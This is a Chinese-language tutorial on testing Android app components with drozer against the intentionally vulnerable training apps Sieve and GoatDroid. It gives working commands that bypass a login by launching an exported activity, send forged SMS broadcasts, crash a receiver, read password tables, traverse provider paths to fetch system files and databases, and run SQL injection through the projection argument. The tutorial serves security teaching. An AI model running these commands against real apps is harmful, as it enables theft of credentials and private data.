二. Android安全测试:使用drozer检测四大组件

二. Android安全测试:使用drozer检测四大组件

在drozer console中直接使用help查看;然后进一步使用help command可查看各命令更具体的使用方法。

二. Android安全测试:使用drozer检测四大组件

通过输入安装包的部分关键字查找包全称 run app.package.list -f 安装包部分关键字

run app.package.list -f demo

二. Android安全测试:使用drozer检测四大组件

使用app.package.info模块查看apk基本信息

run app.package.info -a com.example.demo

二. Android安全测试:使用drozer检测四大组件

1.检测四大组件

四大组件

Activity(界面):通常展现为一个可视化的用户界面,是负责与用户交互的组件。常见的漏洞包括Activity劫持漏洞、越权漏洞等。

Service(服务):无用户界面,是运行于后台的服务,但是及其重要,经常在后台执行一些敏感的操作。常见的漏洞包括权限提升,拒绝服务攻击等。

Broadcase receiver(广播接收器):无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。当应用广播接收器默认设置exported='true',导致应用可能接收到第三方恶意应用伪造的广播,利用这一漏洞,攻击者可以在用户手机通知栏上推送任意消息,通过配合其它漏洞盗取本地隐私文件和执行任意代码。

Content provider(内容提供者):为存储和获取数据提供统一的接口,可以在不同的应用程序之间共享数据。常见的漏洞包括读写权限漏洞、SQL注入漏洞、文件遍历漏洞等。

使用app.package.attacksurface模块识别攻击面

run app.package.attacksurface com.example.demo

所谓攻击面,应该就是指可export的安卓四大组件(activaty、broadcast receiver、content provider、service),如果查看到四大组件中有可export的,就去具体看可export的组件有没有问题。

二. Android安全测试:使用drozer检测四大组件

 

(1)activity组件测试

查看activity组件信息

run app.activity.info -a com.example.demo

二. Android安全测试:使用drozer检测四大组件

调用暴露的activity组件

run app.activity.start --component package_name Activity_name

一般activity组件只会暴露一个程序启动界面,在暴露其他的就属于组件暴露,有安全隐患。

run app.activity.start --component com.example.demo com.example.demo.MortgageActivity

Activity劫持

如果apk未对界面劫持进行反劫持检测,那么用户就会受到劫持欺骗攻击。如果一个恶意应用在用户启动银行app时,启动自身界面,模拟成银行的登录界面,那么在用户没有察觉的情况下,可以直接偷走用户输入的账号密码。

下面使用一个测试apk对目标应用进行界面覆盖,观察目标应用是否告警提示。

二. Android安全测试:使用drozer检测四大组件

Activity越权

测试APP下载地址

https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk

这是一个管理密码的APP,运行时需要输入密码(com.mwr.example.sieve.MainLoginActivity),验证成功才能查看管理的密码内容(com.mwr.example.sieve.PWList)。

二. Android安全测试:使用drozer检测四大组件

先查看对外暴露的 activity 组件信息

二. Android安全测试:使用drozer检测四大组件

直接调用查看密码的Activity,成功绕过登录验证功能。

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

二. Android安全测试:使用drozer检测四大组件

(2)broadcast组件测试

查看Broadcast组件信息

run app.broadcast.info  -a org.owasp.goatdroid.fourgoats

二. Android安全测试:使用drozer检测四大组件

测试APP下载地址:

https://github.com/nvisium-jack-mannino/OWASP-GoatDroid-Project/downloads

反编译,查看源码,发现需要两个参数 phoneNumber、message

二. Android安全测试:使用drozer检测四大组件

发送恶意广播

run app.broadcast.send --action 广播名 --extra string name lisi

反编译apk,查看AndroidManifest.xml 文件,获取广播名

二. Android安全测试:使用drozer检测四大组件

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message dog

二. Android安全测试:使用drozer检测四大组件

拒绝服务攻击

向广播组件发送不完整intent,使用空 extras,可以看到应用停止运行。

run app.broadcast.send --action <action>

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

二. Android安全测试:使用drozer检测四大组件

(3)content provider组件测试

查看content provider组件信息

run app.provider.info -a com.mwr.example.sieve

二. Android安全测试:使用drozer检测四大组件

可以看出, 对DBContentProvider 内容提供器的访问,除了/Keys 路径需要权限,其他都不需要权限;而对 FileBackupProvider 内容提供器的访问则不需要任何权限,那么我们就可以从中获取敏感数据。

(4)service组件测试

查看service组件信息

run app.service.info -a com.mwr.example.sieve

二. Android安全测试:使用drozer检测四大组件

调用服务组件

run app.service.start --action 服务名 --component 包名 服务名

run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService

2.检测URI数据泄露风险

获取内容提供器的 URIS 资源访问路径

run scanner.provider.finduris -a <包名>

run scanner.provider.finduris -a com.mwr.example.sieve

二. Android安全测试:使用drozer检测四大组件

敏感数据读取

run app.provider.query uri

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords

二. Android安全测试:使用drozer检测四大组件

3.检测文件遍历漏洞

检测文件遍历漏洞

run scanner.provider.traversal -a <包名>

二. Android安全测试:使用drozer检测四大组件

读取系统文件

 run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

二. Android安全测试:使用drozer检测四大组件

下载系统文件

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db f:/home/database.db

二. Android安全测试:使用drozer检测四大组件

4.检测是否存在本地sql注入

扫描注入位置

run scanner.provider.injection -a <包名>

二. Android安全测试:使用drozer检测四大组件

手工注入

执行以下命令,发现返回了报错信息,接着构造sql获取敏感数据

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection " * from Key;--+"

二. Android安全测试:使用drozer检测四大组件

5.建议

当组件为私有组件时,建议设置android:exported的值为 false;当组件为公有组件时,建议对其进行权限控制。